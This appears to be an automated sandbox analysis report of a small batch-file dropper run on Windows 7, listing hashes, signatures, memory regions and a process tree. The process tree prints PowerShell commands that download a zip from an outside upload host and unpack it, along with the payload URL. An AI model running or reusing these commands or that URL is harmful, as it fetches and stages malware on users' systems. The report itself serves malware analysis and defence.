Analysis

  • max time kernel
    1557s
  • max time network
    1565s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    14/10/2023, 10:14

General

  • Target

    tesy - Copy (7).bat

  • Size

    702B

  • MD5

    65f016a2abe40d2902c7032438a14bd7

  • SHA1

    b3537668ca1bb826e5085aee38b3f7ec654d606e

  • SHA256

    153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8

  • SHA512

    b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2540
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2580

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          7872bae97ad4f2a1b2d2771f2e27327d

          SHA1

          07e96a973e85665f7f4b18146950d20484e44336

          SHA256

          cc92511d321cf5174cd372dd1d4a2062067bcd52f97944266a7b92d31f7def34

          SHA512

          acc9d6c84b1dbd6cd08c40feeff8b0c3108dc3961408e15168f51a8e746932680ce1e5ba44c998736f8cc5807f270dabac45e2063702c7b17a08303097ce5e3e

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BJXIDZ679S2MYB0A1GWE.temp

          Filesize

          7KB

          MD5

          7872bae97ad4f2a1b2d2771f2e27327d

          SHA1

          07e96a973e85665f7f4b18146950d20484e44336

          SHA256

          cc92511d321cf5174cd372dd1d4a2062067bcd52f97944266a7b92d31f7def34

          SHA512

          acc9d6c84b1dbd6cd08c40feeff8b0c3108dc3961408e15168f51a8e746932680ce1e5ba44c998736f8cc5807f270dabac45e2063702c7b17a08303097ce5e3e

        • memory/2540-10-0x00000000028D0000-0x0000000002950000-memory.dmp

          Filesize

          512KB

        • memory/2540-6-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2540-4-0x000000001B140000-0x000000001B422000-memory.dmp

          Filesize

          2.9MB

        • memory/2540-9-0x00000000028D0000-0x0000000002950000-memory.dmp

          Filesize

          512KB

        • memory/2540-8-0x00000000028D0000-0x0000000002950000-memory.dmp

          Filesize

          512KB

        • memory/2540-12-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2540-7-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

          Filesize

          9.6MB

        • memory/2540-5-0x0000000002690000-0x0000000002698000-memory.dmp

          Filesize

          32KB

        • memory/2580-20-0x0000000002490000-0x0000000002498000-memory.dmp

          Filesize

          32KB

        • memory/2580-18-0x000000001B180000-0x000000001B462000-memory.dmp

          Filesize

          2.9MB

        • memory/2580-19-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2580-21-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

          Filesize

          9.6MB

        • memory/2580-23-0x0000000002660000-0x00000000026E0000-memory.dmp

          Filesize

          512KB

        • memory/2580-22-0x0000000002660000-0x00000000026E0000-memory.dmp

          Filesize

          512KB

        • memory/2580-24-0x0000000002660000-0x00000000026E0000-memory.dmp

          Filesize

          512KB

        • memory/2580-25-0x0000000002660000-0x00000000026E0000-memory.dmp

          Filesize

          512KB

        • memory/2580-26-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

          Filesize

          9.6MB